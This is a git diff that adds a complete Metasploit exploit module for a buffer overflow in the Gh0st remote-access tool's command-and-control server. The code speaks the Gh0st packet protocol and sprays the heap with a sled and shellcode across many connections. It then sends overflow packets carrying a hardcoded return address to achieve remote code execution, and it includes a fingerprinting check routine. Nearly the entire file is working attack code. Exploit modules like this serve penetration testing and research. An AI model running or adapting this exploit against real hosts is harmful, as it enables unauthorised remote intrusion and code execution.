diff --git a/modules/exploits/windows/misc/gh0st.rb b/modules/exploits/windows/misc/gh0st.rb new file mode 100644 index 0000000000..94c82c3e78 --- /dev/null +++ b/modules/exploits/windows/misc/gh0st.rb @@ -0,0 +1,128 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'zlib' + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + include Msf::Exploit::Remote::Tcp + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Gh0st Client buffer Overflow', + 'Description' => %q{ + This module exploits a Memory buffer overflow in the Gh0st client (C2 server) + }, + 'Author' => 'Professor Plum', + 'License' => MSF_LICENSE, + 'References' => + [ + ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + 'AllowWin32SEH' => true + }, + 'Payload' => + { + 'Space' => 1000, + 'BadChars' => '', + 'EncoderType' => Msf::Encoder::Type::AlphanumMixed + }, + 'Platform' => 'win', + 'DisclosureDate' => 'Jul 27 2017', + 'Targets' => + [ + ['Gh0st Beta 3.6', { 'Ret' => 0x06001010 }] + ], + 'Privileged' => false, + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('MAGIC', [true, 'the 5 char magic used by the server', 'Gh0st']), + Opt::RPORT(80) + ], self.class + ) + end + + def make_packet(id, data) + msg = id.chr + data + compressed = Zlib::Deflate.deflate(msg) + datastore['MAGIC'] + [13 + compressed.size].pack('V') + [msg.size].pack('V') + compressed + end + + def validate_response(data) + if data.nil? + print_status('Server closed connection') + return false + end + if data.empty? + print_status('No response recieved') + return false + end + if data.size < 13 + print_status('Invalid packet') + print_status(data) + return false + end + mag, pktlen, msglen = data[0..13].unpack('a' + datastore['MAGIC'].size.to_s + 'VV') + if mag.index(datastore['MAGIC']) != 0 + print_status('Bad magic: ' + mag[0..datastore['MAGIC'].size]) + return false + end + if pktlen != data.size + print_status('Packet size mismatch') + return false + end + msg = Zlib::Inflate.inflate(data[13..data.size]) + if msg.size != msglen + print_status('Packet decompress failure') + return false + end + # print_status(msg.ord.to_s) + return true + end + + def check + connect + sock.put(make_packet(101, "\x00")) # heartbeat + if validate_response(sock.get_once || '') + return Exploit::CheckCode::Appears + end + Exploit::CheckCode::Safe + end + + def exploit + print_status("Trying target #{target.name}") + print_status('Spraying heap...') + for i in 0..100 + connect + sock.put(make_packet(101, "\x90" * 3 + "\x90\x83\xc0\x05" * 1024 * 1024 + payload.encoded)) + if not validate_response(sock.get_once) + disconnect + return + end + end + + for i in 103..107 + print_status("Trying command #{i}...") + begin + connect + sploit = make_packet(i, "\0" * 1064 + [target['Ret'] - 0xA0].pack('V') + 'a' * 28) + sock.put(sploit) + if validate_response(sock.get_once) + next + end + sleep(0.1) + break + rescue EOFError + print_status('Invalid') + end + end + handler + disconnect + end +end